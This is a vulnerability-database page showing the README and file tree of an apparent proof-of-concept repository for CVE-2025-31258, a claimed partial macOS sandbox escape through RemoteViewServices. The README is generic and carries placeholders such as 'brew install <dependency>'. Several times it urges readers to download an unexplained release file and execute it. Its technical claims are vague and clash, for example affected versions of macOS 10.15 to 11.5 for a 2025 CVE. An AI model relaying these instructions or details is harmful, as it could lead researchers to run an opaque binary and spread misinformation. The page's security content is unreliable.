CVE-2025-31258 PoC — Apple macOS 安全漏洞

Source

Associated Vulnerability

Description

1day practice - Escape macOS sandbox (partial) using RemoteViewServices

Readme

# CVE-2025-31258-PoC

![CVE-2025-31258-PoC](https://img.shields.io/badge/CVE-2025--31258--PoC-blue.svg)

## Overview

Welcome to the CVE-2025-31258-PoC repository. This project serves as a practical demonstration of a partial escape from the macOS sandbox using RemoteViewServices. The proof of concept (PoC) aims to shed light on potential vulnerabilities and enhance understanding of macOS security mechanisms.

## Table of Contents

- [Introduction](#introduction)
- [Installation](#installation)
- [Usage](#usage)
- [Exploit Details](#exploit-details)
- [Contributing](#contributing)
- [License](#license)
- [Acknowledgments](#acknowledgments)
- [Releases](#releases)

## Introduction

CVE-2025-31258 is a critical vulnerability affecting macOS systems. This repository provides a partial escape mechanism that leverages RemoteViewServices. Understanding this vulnerability can help developers and security professionals strengthen their applications against similar threats.

## Installation

To get started, you need to download the necessary files. You can find the releases [here](https://github.com/BODE987/CVE-2025-31258-PoC/releases). Download the appropriate file and execute it in your environment.

### Requirements

- macOS system
- Basic knowledge of command line usage
- Development tools (Xcode, Homebrew, etc.)

### Steps

1. Clone the repository:

   ```bash
   git clone https://github.com/BODE987/CVE-2025-31258-PoC.git
   cd CVE-2025-31258-PoC
   ```

2. Install dependencies (if any):

   ```bash
   brew install <dependency>
   ```

3. Download the release file from [here](https://github.com/BODE987/CVE-2025-31258-PoC/releases).

4. Execute the downloaded file:

   ```bash
   ./your_downloaded_file
   ```

## Usage

Once you have set up the environment, you can begin to explore the functionality of the PoC. This repository provides a structured approach to testing the vulnerability. 

### Steps to Use

1. Ensure the application you want to test is running.
2. Execute the PoC script.
3. Monitor the output for any signs of sandbox escape.

### Example

```bash
./your_downloaded_file
```

Observe the logs for any anomalies or unexpected behavior.

## Exploit Details

The core of this PoC revolves around the RemoteViewServices framework. This framework allows applications to share views and data across different processes, creating potential attack vectors.

### Vulnerability Analysis

- **Affected Versions**: This vulnerability primarily affects macOS versions from 10.15 to 11.5.
- **Impact**: Successful exploitation may allow an attacker to execute arbitrary code outside the sandbox.

### Attack Vector

The attack can be initiated by:

1. Sending crafted messages to the RemoteViewServices.
2. Manipulating the data flow to bypass security checks.

### Mitigation Strategies

- Regularly update macOS to the latest version.
- Implement strict input validation in applications.
- Use sandboxing techniques to isolate processes effectively.

## Contributing

We welcome contributions to enhance this project. Please follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes and commit them.
4. Push to your branch.
5. Submit a pull request.

### Guidelines

- Follow the existing code style.
- Write clear commit messages.
- Include tests for new features.

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

## Acknowledgments

- Special thanks to the open-source community for their contributions.
- Thanks to the macOS security team for their continuous efforts in identifying and patching vulnerabilities.

## Releases

For the latest releases, please visit [this link](https://github.com/BODE987/CVE-2025-31258-PoC/releases). Download the necessary files and execute them to explore the proof of concept.

![Release](https://img.shields.io/badge/Download%20Releases-brightgreen.svg)

## Conclusion

This repository aims to provide a clear and practical approach to understanding CVE-2025-31258. By exploring this PoC, developers and security professionals can gain valuable insights into macOS security vulnerabilities. We encourage you to experiment and contribute to the project for a better understanding of the risks involved.

Feel free to reach out with questions or feedback. Happy coding!

File Snapshot

 [4.0K]  /data/pocs/f5e129aae4ea03cd5fedb4397a6f731f1784e4d1
├── [4.0K]  CVE-2025-31258
│   ├── [ 169]  AppDelegate.h
│   ├── [ 519]  AppDelegate.m
│   ├── [4.0K]  Assets.xcassets
│   │   ├── [4.0K]  AccentColor.colorset
│   │   │   └── [ 123]  Contents.json
│   │   ├── [4.0K]  AppIcon.appiconset
│   │   │   └── [ 904]  Contents.json
│   │   └── [  63]  Contents.json
│   ├── [4.0K]  Base.lproj
│   │   └── [ 60K]  Main.storyboard
│   ├── [ 310]  CVE_2025_31258.entitlements
│   ├── [ 283]  main.m
│   ├── [ 202]  ViewController.h
│   └── [3.1K]  ViewController.m
├── [4.0K]  CVE-2025-31258.xcodeproj
│   ├── [ 12K]  project.pbxproj
│   └── [4.0K]  project.xcworkspace
│       └── [ 135]  contents.xcworkspacedata
└── [4.3K]  README.md

7 directories, 13 files

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